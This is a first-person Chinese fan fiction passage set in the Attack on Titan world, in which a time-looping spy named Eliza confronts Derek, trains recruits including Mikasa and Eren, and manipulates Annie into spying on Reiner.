我是被冷醒的,等我醒来的时候,埃尔文已经不在办公位上了。我看了眼墙上挂着的钟表,已经是第二天的四点了。
我知道就在昨天,德里克应该去我宿舍那里找过我。上一次回溯也是这样,他去了我的房间找我,没有看到我,但是发现了我抄录给马莱的笔记。
我回忆着我杀死德里克的过程,墙上的钟表不知不知觉就已经指向了六点,我意识到我该离开这间办公室了,埃尔文或许一会就会来了。
我用我身上携带的笔在纸巾上给埃尔文写了留言:
埃尔文,麻烦你明天空出点时间好吗?我们聊一聊。
*
当我朝着德里克的宿舍走去时,每一步都能够让我回忆起上一次我杀死德里克的细节,以及我是如何在利威尔面前装模作样的。
强烈的罪恶感缠绕着我的大脑和心脏,恐惧带来的魔鬼在我耳边一直反复劝告我再次沾染他的鲜血……他不是我杀死的第一个人,可我不知道为什么,他的死亡对我来说如此沉重。
我想起我从死亡走向复活要穿过的那片寂静的森林,其实那里并不安静,黑色的树林里面有无数被我杀死的灵魂窥探着我,他们想知道我复活之后是否还会再杀死他们……他们想知道,在这场被冠上拯救人类的使命里,到底要牺牲多少个和他们一样的人?
我推开了那扇门,看到了背对着我的德里克。和我上一次被审判时看到的幻影一样,他的背影是冷漠,让人恐惧的。我仿佛看见了他的身影在不断拉长,逐渐与昏暗的房间融为一体,然后地板慢慢张开一道巨大的嘴,想要吞噬掉我。
“你来了,伊莱扎?”
德里克说,他没有转过头来看我。在我的眼中,他的面上仿佛被一支巨大的红笔画上了无数个叉。
“你为什么低头……算了,你知道我昨天去找你了吗?”
“嗯。”
“……你为什么不说话?”
我抬起头,轻声问:“你想听我说什么呢?”这是回溯后,我对他说的第一句话。
我和他的双目对视上那一刻,我才发现了他脸上的泪痕,只是他的面庞我依然看不清。
他说:“你……来自哪里?那不是墙内的文字吧?为什么要抄录军事机密呢?为什么要研究城墙呢……你知道这次玛利亚破墙死了多少人吗……”
他语无伦次,问了很多那本笔记的事情,只是没有拿出笔记。
我默默地注视着他起伏的胸口,张张合合的嘴唇,在话语间捕捉着他的一呼一吸。
他真的活着吗?我忍不住怀疑。
他是真实存在的吗?
我没有听他说话,我只是在思考他到底是不是真实存在的。
自从那一大段记忆涌入我的脑中,我难以分辨我记忆的真假,我无法信任我的大脑。有些记忆那么不可能就像是我凭空想象出的一样……而有些记忆又会在某一刻突然被我想起。
比如我现在想到了第一次回溯时雷米尔告诉我的:弥撒亚获得了回溯的能力,拥有了改变命运的可能,但那是需要付出代价的。
他很认真地叮嘱我:“你所改变的命运,会决定你需要付出的代价。你所改变的故事带来的因果数量,会决定命运的重量。”
代价吗?
等我回过神来,发现德里克只在那里沉默地注视着我。
于是,我开口了,开口说话比我想象中来得轻松,当我还没意识到我张嘴时,我就已经说完了:“你认为的真相是什么样的?”
“我想过很多。”他说,“……但我不想去猜测你,无论真相是不是那样,你都会被我的猜测伤害,我不想你受伤,至少现在是这样……我想听你说话。告诉我吧,伊莱扎。”
我不想你受伤。
这句话从一个被我杀死过的人嘴里说出来很
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可笑,但我笑不出来。我的面部肌肉露出了一个似哭似笑的表情,看上去诡异极了。
我以为我会纠结很久要不要告诉他,但其实我没有任何思考就开口了:“德里克,我……”
我告诉他了墙外的事情:墙外的国家,墙外爆发的战争,巨人的诞生,艾尔迪亚人的过去,他们虚伪的王政府……甚至包括我的立场:一个战俘,投靠了毁灭了自己国家的人的叛徒。
我没有告诉他关于回溯和我的家族的事情,那是不能被轻易说出来的。当然,我其实对回溯的了解也不多,雷米尔和我的其他知情的族人都死在了那场大火里,一切都化为了灰烬,我没有办法得知真相。
这一次我一如既往地说着半真半假的话,只是我的内心没有任何负担感。我想随着我的记忆慢慢恢复,我会渐渐失去罪恶感,眼里只有我需要达成的使命。
终于,他问出了那句:“所以你是抱着要杀死我们的目的来到这里吗?”
“不是。”我说,“我曾经是的,因为你们的死和我没有关系……可我无法忘记巨人从天而降砸碎地面的样子,无法忘记是我的妈妈放弃了自己的生命换来我的生机,无法忘记被吃掉和被踩死的同胞们发出的惨叫和乞求,更无法忘记他们放出的大火烧光了我故乡的一切……”
“德里克,我无法忘记这一切,也无法原谅马莱。我根本不知道他们要攻破玛利亚城墙,我以为我会忘记仇恨做他们的傀儡,可那道闪电闪过的时候,我发现我做不到再一次看见这片土地被战火摧毁了……”
我跪在地上痛哭,紧紧抓着他的双手,恳求他:“你能告诉我,我该怎么做才能避免再一次看到地狱吗?我该怎么做,才能,不成为魔鬼……”
泪水不断涌出我的眼眶,我朝德里克伸出手,我的胸腔强烈地起伏着,因为哭得太过用力,我的心口隐隐作痛,但我仍然呜咽着:“救救我吧,我做不到这些……我做不到……”
我说的是真话,却不是完全的事实。但我眼里被仇恨点燃的怒火,颤抖的双臂,紧握的拳头,轻微抽搐着的面部肌肉都在告诉德里克:我恨着马莱,我想要逃离马莱,而我一个人做不到。
他是个心软的人,他的家人和朋友给了他太多的温暖,他成长的环境里没有遇到过太多的挫折,他的灵魂始终被正义善良的光芒笼罩,他始终相信着人心,他拥有着人性光辉的那一面……所以他听到我告诉他的我所见过的战争,我所见到的死去的人时,他会面露不忍,他会心疼见到这些的我,因为他以为所有人都和他一样会对那些东西感到心痛。
于是他回握住了我的手,弯下身子轻轻抱住了我:“没事的,伊莱扎。我们可以不让惨剧再次发生的,你不会再看到那样的光景了,你也不会成为魔鬼。”
我嗯了几声,擦去眼中的泪水。
只是他不知道,也永远不会得知:早在我的双眼染上血红色的那一天起,我就已经是魔鬼了。
25. 第 25 章
如何杀死一个看不见的敌人?
在每一位弥赛亚献上右眼的地下室里,一副壁画告诉了我答案:
首先,需要一个“容器”,一个能够承载那条虫子的安全的容器——非王族血脉的艾尔迪亚人。他们无法发挥始祖巨人的全部力量。
其次,需要一个由骨和血制成的指南针,由九位智慧巨人的鲜血融合一位弥赛亚的骨头制成——它将指向世界的尽头。
最后,需要一艘船,由世界树的残骸制成——只有这样才能前往世界的尽头。
壁画只告诉我们,在世界的尽头,拥有可以消灭那条虫子的道具。
但目前为止,没有一位弥赛亚真的抵达了世界尽头。
那么世界的尽头真的存在吗?
**
“我的名字是伊莱扎,职位是调查兵团第三分队队长。今天我来到这里,是为了指导你们如何更好地使用立体机动器。”
“在使用立体机动器前,必须要做好觉悟。一旦使用不当,重则残废致死,轻则在医院上躺上几天。”
底下军姿站立的训练兵种传来了吸气声,基斯团长伸长脖子怒斥他们,让他们安静。
我看着台下一张张熟悉的面孔,眼神没有变化:“如果说仅仅是语言的告诫就让你们害怕了的话,你们可以放弃学习立体机动器了。或许你们当中有些人会想,只有调查士兵才需要熟练运用立体机动器。或许城墙还没破之前是这样的。现在还活着的都会使用立体机动装置,不会的人都已经被吃掉了。”
“那么,在理解了学习立体机动的重要性后,我将演示给你们看正确的姿势和发力部位。”
……
等我演示完后,我就退到一边去休息了。
这次来训练兵团做特别指导是我向埃尔文争取来的机会,自我跟他坦白后已经过了一年。即便是他知道我依然藏着一些秘密,但他也没像之前那样防备着我了。因为他知道我是无害的。
余光看见基斯团长站到了我旁边,我立刻站起来向他行了军礼:“基斯团长。”
他摆摆手:“我已经不是团长了。你还是这么叫埃尔文吧。”
“您做我团长的时长比他长多了。”我微笑着说:“这届新兵的素质不错,希望能有不少加入我们调查兵团的人。”
基斯团长笑了一声,转而说:“你教导的不错,看得出来你的技艺越来越精湛了。”
……都觉醒了那么多次回溯的记忆了,要是力量还没有增长那也太寒酸了吧。我在心里默默吐槽,面上说:“我还担心我讲的不好,示范不到位呢。”
“等会你看看那些小兔崽子的动作就知道了。”
我笑着摇摇头:“也有不错的,比如那个黑头发戴围巾的女生。”
三笠阿克曼。
其实我基本上就只观察了她,她才是当之无愧的同期生里最强,甚至比很多老兵还要强。到了几年后,阿克曼的名号甚至会传到海对面的大陆上。
其实哪怕是现在的她,已经能够看出一些端倪了。
她是我最大的阻碍,不知道有多少次,我在尝试带走艾伦耶格尔的时候,她出手阻碍了我……不愧是拥有阿克曼血脉的人 ,无论是利威尔还是她,都拥有着羡煞旁人的天赋。要是他们能够不阻止我就好了。
“我去看看。”跟基斯团长说了一声后,我向前走到了三笠面前:“你很厉害,比很多老兵都还要强。你叫什么名字?”
她听到我的夸奖,拉了拉围巾,把嘴微微埋在了围巾中:“三笠?阿克曼……谢谢。”
她看上去只是个普通的女孩,甚至还会害羞。和我记忆中大多数时候冷漠如杀神的她完全不同,这给我一种很微妙的感觉。
我忍不住摸了摸我的喉管,我发现哪怕这个漂亮的女孩乖巧地站在我面前,好像人畜无害的模样。我也依然无法忘记,她果断地割掉我的喉咙的模样。
“也指导我一下吧,伊莱扎队长!”
听到这个声音,我回头,果然看到了艾伦。他眼中充满着斗志,和过去几次回溯里我见到的他不同。
我过去见到的他,浑身上下透着一种绝望,还有深入骨髓的冷漠。我曾跪在他面前恳求他,只要他愿意和我一起去往世界的尽头,我有办法让战争终结,我有办法将巨人之力驱逐出去。
他却只是看着我,然后说:“你是为了世界来的吗?可是我的目的是为了摧毁这个与帕拉迪岛为敌的世界。”
他叹了口气说着:“看来我们是敌人啊”然后杀了我。
而现在的他,一双绿色的眼睛闪着充满斗志的光,无论怎么看我都无法认同他和我记忆中的他是同一个人。
他说:“我叫艾伦耶格尔。其实以前我们在玛利亚城墙那里见过,伊莱扎队长还记得吗?”
“当然记得。”我朝他笑了笑,“你还说我没什么斗志。”
他挠了挠后脑勺,尴尬地笑了笑:“但至少你很强……”
我没说话只是走向他,简单指点了一下他的动作。其实他现在这样已经是他目前能做到的最好了,他的天赋不如三笠,无论如何单凭立体机动器是无法和三笠站在同一水平的。但他的意志却比三笠还要热烈……
他知道自己拥有巨人之力吗?
我不敢妄下结论,因为或许这个看上去只是单纯热血的模样是他的一个伪装。我不相信他在这短短几年内就会从一个热血少年变成一个发动地鸣摧毁世界的男人。
那时的我相信一切的恶都是天生注定的,任何恶行背后的苦衷都只是借口。因为我所认知到的受苦受难之人太多了,而他们当中大部分人依然选择了善。根本没有所谓的好人突然变成了坏人,只有一个恶人一直在伪装成好人。
命运从一开始就决定了每个人在这个世界上的身份,和那人最终要走向的结局。
记得雷米尔曾告诉过我一个猜想,我们之所以只能拥有七次回溯,是因为七次回溯之后,命运已经是我们无法承担的重量了。
随着回溯的增加,我们所改变的命运会越来越多,身上所承担的命运会越来越重。越到后面,结局的必然性似乎就成为了现实。
雷米尔告诉我他的那个猜想之后,他说:“你知道吗?后来的每一次回溯我都是死在火海里的。”<
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命运在我们身上扣上了一道锁,而每一次回溯,都让这把锁变得更加沉重,到了后面,我们更加无法走出命运为我们规定的道路。
冥冥中,我似乎看到了祭台上,雷米尔挖去我的眼睛,为我安上第一任弥赛亚的右眼时,他看向我的眼神中带着的悲哀……还有恨意。
他早已知晓他的命运是在那场火海中将我推出,而让自己死去。
而我也知晓我的命运,是拖着艾伦耶格尔同归于尽。
**
当我落单的时候,我被亚妮莱恩哈特拦住了。她说:“队长,也指导一下我吧。”
我跟着她往偏僻的地方走去,中途她突然问我:“你为什么没有和我们汇合。”
“我以为你会等带我去到莱纳那里再问我这个问题。”我停下来脚步,“你想回家吗?”
“这和……”
我不耐烦地打断她:“只需要告诉我你想或者不想就行了。”
她没有吭声。于是我继续说了下去:“如果你想回家,你就得放弃莱纳。”
“为什么?”
“我一直盯着你们……我比你想象中知道更多。莱纳已经不可以被信赖了,他现在沉迷于一个艾尔迪耶士兵的形象,这样意志不够坚定的战士是会酿成大祸的。你认为我为什么不会和你们联系?因为我看不出来你们的价值。如果你想要在这个四周都是敌人的地方活下去,活到最后,那么你就要选择更可靠的靠山。”
“我们应该放弃拖油瓶,否则他会毁坏我们的全部计划。”
亚妮问我:“你想要我做什么?”
我握紧她的手:“我需要你做的只有一件事,监视莱纳和贝尔托特,一旦他们有什么异动就立刻告诉我。同时你们的同期生也是。这里面隐藏着智慧巨人,就是我们要寻找的始祖巨人还有鄂之巨人。”
亚妮瞪大双眼,不可置信地看着我:“你是如何知道的?”
我点了点我的眼睛:“马莱会派我做先遣人员自然有它的道理。我身上有一个机密,这个机密他们没有告诉你们很正常,因为他们害怕你们的背叛,看看莱纳就知道了,他们是对的,莱纳已经不可以信任了。我的秘密就是我的眼睛可以‘发现’智慧巨人,这是我的家族秘密。”
亚妮没有直接接受我的橄榄枝,而是问了一个问题:“那么铠甲巨人和超大型巨人该怎么办?”
我面无表情地扯谎:“我们可以在退出的时候选择回收他们或者押回马莱。放心不会有问题的,过不了几年,野兽巨人和车力巨人会来帮助我们的。”
听到我的最后一句话,亚妮才动了想要往我这边靠的心思。我走上前去抱住她,轻轻拍着她的背:“你等会回去告诉他们,我看上去好像什么也不记得了,你怀疑我是不是头部撞伤记忆出了问题或者我选择叛变……他们会自己脑补出合适的答案的。不用担心我的安危,他们不敢在城内直接变身成智慧巨人,那么他们对我来说就和蚂蚁一样好对付。”
亚妮咬牙:“我早就说过了,那个时候应该返程的……”
我托住她的脸:“我们没有回头路可以走了。”